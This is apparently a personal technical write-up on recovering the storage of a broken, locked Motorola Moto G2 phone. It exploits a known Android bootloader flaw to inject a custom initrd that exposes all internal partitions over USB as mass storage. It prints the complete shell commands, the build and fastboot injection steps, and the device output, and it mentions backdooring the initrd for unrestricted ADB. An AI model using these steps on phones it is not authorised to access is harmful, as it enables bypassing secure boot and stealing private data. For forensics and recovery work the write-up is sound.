Using The Android USB Driver To Extract Data As USB Mass Storage Device
Due to a harware failure I was searching for a conventient
and efficient way to copy all internal storage of a mostly broken,
powered off, hardware locked, encrypted phone. The only things
still working to interact with the phone were the USB connector
and power on/volume keys. It was not possible to use the touch
screen, extract any partition data via fastboot, access the ADB
interface, connect via WIFI or use any other common remote access
methods. It might have been possible to just screw it open and
reattach the display cable, replace the display or see if OTG
support would allow plugging of a keyboard or mouse. But those
high-tech tools (tiny screw driver, OTG-cable, keyboard) were
not at hand, but a notebook and software was.
As a result of solving this problem the software way a simple program to inject as initrd into ABOOT to regain full control of the phone was developed. The main advantage of this solution is to get a near forensic quality snapshot of the complete storage
including the partition table, boot image, recovery images, all
firmware update slots without running the target system, a replacement
system with ADB or any other generic tools.
While the hardware of the Motorola phone was mostly broken,
the power and volume-down button were still working. Therefore
it was possible to switch on the phone and enter the fastboot
mode. Thus the phone hardware became visible via USB to interact
with it using the fastboot tools
[FastBoot].
Unfortunately due to the device hardware being locked and
secure boot enabled, partition data could not be dumped or custom
built firmware images flashed, as they would fail the signature
checks. I already thought about attempting to downgrade the firmware
to the oldest version for that device and then try to find or
develop an USB-only exploit to get into the running phone stuck
at the first password prompt to decrypt the internal storage,
but this might have been a big challenge. Also extracting the
hardware from the phone to tamper it seemed really complicated.
(Luckily) the OEM extensions to the Android boot (ABOOT) software
contained an interesting flaw
[ABootOemExploit]
discovered 2016 and published 2017 by Roee Hay from Aleph Research
for Nexus 6. The exploit also works nicely on the Moto G2 XT1072
in question, which was released March 2015. It seems that the
device did not receive critical security updates any more 2 years
and 2 month after release. It is not clear how long the
device was sold by Motorola so the time from buying it to receiving
the last security update might have been much shorter.
The exploit for
[CVE-2016-10277]
allows to gain privileged access to the boot process
by injecting an alternative initrd after secure boot signatures
were checked. The exploit is atypically in that way, that it
is very easy to apply. To confirm successful exploitation I created
a static binary with an endless loop, added it as “/init” to
an initrd and injected that initrd. Instead of rebooting immediately,
the device got stuck in the init program loop with the brand
boot splash image being displayed forever.
As a next step a meaningful initrd had to be created to extract
the data. The paper suggested building a full Android system
to create a “usertest” type initrd with ADB enabled by default
and then gain root via ADB. Building a whole Android system seemed
too cumbersome, time and resource consuming to me when not being
experienced in the build process. Apart from that the image may
still not run properly due to wrong build parameters.
An alternative approach would have been to extract an initrd
from a suitable boot image and backdoor it manually. But I could
not find a source for the boot image currently installed on the
phone and generic images, e.g. LinageOS, did not work properly.
Thus as a first step extracting the boot image from the phone
would really help.
The next step was to find an easy way to extract the data.
As an Android system programming newby I first thought about
exposing the debugging console over USB. As I did not find anything
about that I started looking into the “sysfs”. As on notebooks
it may allow easy control of hardware e.g. the screen brightness.
On the Motorol phone the file “/sys/class/leds/white/brightness”
provided access to the indicator LED at the front of the phone.
Flashing the led a number of times was useful for extracting
a few bits (not bytes) of data, mainly to verify the existence
of files and to report error codes to fix errors in my test program.
To find interfaces similar to “/sys/class/leds/white/brightness”
but with higher bandwidth, I started searching in the Android
source code. Some part of the interface initialization was found
in “init.rc” and “init.mmi.rc”, files that can be found on the
initrd too. But more interesting was “init.mmi.usb.rc” which
performs USB related initialization.
on init write /sys/class/android_usb/android0/f_rndis/wceis 1 # Mount Points for External Storage Devices mkdir /mnt/media_rw/usbdisk 0700 media_rw media_rw mkdir /storage/usbdisk 0700 root root on boot write /sys/class/android_usb/android0/iManufacturer ${ro.product.manufacturer} write /sys/class/android_usb/android0/iProduct ${ro.product.model} write /sys/class/android_usb/android0/f_mass_storage/vendor ${ro.product.manufacturer} write /sys/class/android_usb/android0/f_mass_storage/product ${ro.product.model} …
Writing to the manufacturer, product and serial number sysfs
files allowed to expose up to 126 bytes of data per USB device
descriptor via the USB interface to extract them on the host
side. This was already a great improvement compared to the few
bits extracted via LED blinking. Still for extraction of a whole
storage partition the bandwidth of using USB device descriptor
strings seemed still too limited.
Therefore the next attempt was to enable the “usbnet” functionality,
set up the network stack and exfiltrate the data over network.
But the complexity of this approach seemed too high for quick
results, even making the PC detect an USB network interface did
not succeed. But while researching how USB network components
play together, instead I found out how the mass storage USB interface
works. Compared to the network method it does not require any
other user space code and therefore is easy to apply. How to
use the mass storage interface was inspired by an article using
bogus mass storage identifiers to hack IoT devices
[CarveSystemsInjection].
Written as shell code the commands to expose all internal storage
via USB are:
mkdir /dev
mknod /dev/mmcblk0 b 179 0
mkdir /sys
mount -t sysfs sysfs /sys
echo 1 > /sys/class/android_usb/android0/f_rndis/wceis
echo A > /sys/class/android_usb/android0/iManufacturer
echo B > /sys/class/android_usb/android0/iProduct
echo C > /sys/class/android_usb/android0/f_mass_storage/vendor
echo D > /sys/class/android_usb/android0/f_mass_storage/product
echo E > /sys/class/android_usb/android0/iSerial
echo 0 > /sys/class/android_usb/android0/enable
echo 0x05c6 > /sys/class/android_usb/android0/idProduct
echo 0x9026 > /sys/class/android_usb/android0/idVendor
echo internal > /sys/class/diag/diag/logging_mode
echo diag > /sys/class/android_usb/android0/f_diag/clients
echo smd,tty > /sys/class/android_usb/android0/f_serial/transports
echo smd,bam > /sys/class/android_usb/android0/f_rmnet/transports
echo /dev/mmcblk0 > /sys/class/android_usb/android0/f_mass_storage/lun/file
echo mass_storage > /sys/class/android_usb/android0/functions
echo 1 > /sys/class/android_usb/android0/enable
sleep 123456
The commands from above were run using a custom, static “init”
program compiled from
exfiltrate-as-mass-storage.c
(158 lines). The program will make the phone show up as mass
storage device during boot. The complete internal storage is
available for reading including the partition table and all 42
partitions of the Android system.
# Compile the program.
$ /usr/bin/arm-linux-gnueabihf-gcc -march=armv7-a exfiltrate-as-mass-storage.c -static -o init
$ echo init | fakeroot — cpio -o -H newc | gzip -9 > initrd.gz
823 blocks
$ platform-tools/fastboot oem config fsg-id “a initrd=0x11000000,$(stat “–format=%s” initrd.gz)”
(bootloader) <UTAG>
(bootloader) <name=”fsg-id”/>
(bootloader) <type=”str”/>
(bootloader) <protected=false/>
(bootloader) <value>
(bootloader) a initrd=0x11000000,220859
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG> OKAY [ 0.045s]
Finished. Total time: 0.045s
# The flash command will fail as the phone is locked. This is
# expected.
$ platform-tools/fastboot flash initrd initrd.gz
(bootloader) has-slot:initrd: not found
(bootloader) is-logical:initrd: not found
Sending ‘initrd’ (215 KB) OKAY [ 0.064s]
Writing ‘initrd’ (bootloader) Permission denied
FAILED (remote: ”)
fastboot: error: Command failed
$ platform-tools/fastboot continue
Resuming boot OKAY [ 0.001s]
Finished. Total time: 0.001s
$ dmesg
…
[61015.729639] usb 2-1: USB disconnect, device number 44
[61023.864754] usb 2-1: new high-speed USB device number 45 using xhci_hcd
[61024.013699] usb 2-1: New USB device found, idVendor=9026, idProduct=05c6, bcdDevice= 2.28
[61024.013704] usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[61024.013706] usb 2-1: Product: AProduct
[61024.013708] usb 2-1: Manufacturer: Exfiltrate
[61024.013709] usb 2-1: SerialNumber: BSerial
[61024.015064] usb-storage 2-1:1.0: USB Mass Storage device detected
[61024.015514] scsi host3: usb-storage 2-1:1.0
[61025.029249] scsi 3:0:0:0: Direct-Access ShortStr AProduct 0001 PQ: 0 ANSI: 2
[61025.029543] sd 3:0:0:0: Attached scsi generic sg1 type 0
[61025.029975] sd 3:0:0:0: Power-on or device reset occurred
[61025.030258] sd 3:0:0:0: [sdb] 15269888 512-byte logical blocks: (7.82 GB/7.28 GiB)
[61025.030389] sd 3:0:0:0: [sdb] Write Protect is off
[61025.030392] sd 3:0:0:0: [sdb] Mode Sense: 0f 00 00 00
[61025.030509] sd 3:0:0:0: [sdb] Write cache: enabled, read cache: enabled, doesn’t support DPO or FUA
[61025.113391] sdb: sdb1 sdb2 sdb3 sdb4 sdb5 sdb6 sdb7 sdb8 sdb9 sdb10 sdb11 sdb12 sdb13 sdb14 sdb15 sdb16 sdb17 sdb18 sdb19 sdb20 sdb21 sdb22 sdb23 sdb24 sdb25 sdb26 sdb27 sdb28 sdb29 sdb30 sdb31 sdb32 sdb33 sdb34 sdb35 sdb36 sdb37 sdb38 sdb39 sdb40 sdb41 sdb42
[61025.117274] sd 3:0:0:0: [sdb] Attached SCSI removable disk
$ xxd -a /dev/sdb | more
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 …………….
*
000001c0: 0100 eeff ffff 0100 0000 ffff ffff 0000 …………….
000001d0: 0000 0000 0000 0000 0000 0000 0000 0000 …………….
000001e0: 0000 0000 0000 0000 0000 0000 0000 0000 …………….
000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa …………..U.
00000200: 4546 4920 5041 5254 0000 0100 5c00 0000 EFI PART….\…
…
On Android “/dev/mem” seems to be disabled during kernel compilation,
creating and opening device results in ENXIO. Therefore switching
the internal storage block device with “/dev/mem” was not suitable
to provide an interesting remote access to the physical memory
for debugging.
After extracting the current boot image from the phone, the
boot image was split using the “abootimg” tool (Debian package
available), the initrd unpacked, modified to enable unrestricted
ADB access unconditionally on startup, repacked, injected into
the boot process and ADB connection established to access some
apps for the last time to extract data without emulating the
device. Now without proper display and touchscreen but flashed
anew the device may serve some more years in internal network
as a low power embedded system, sensor platform.
READ MORE HERE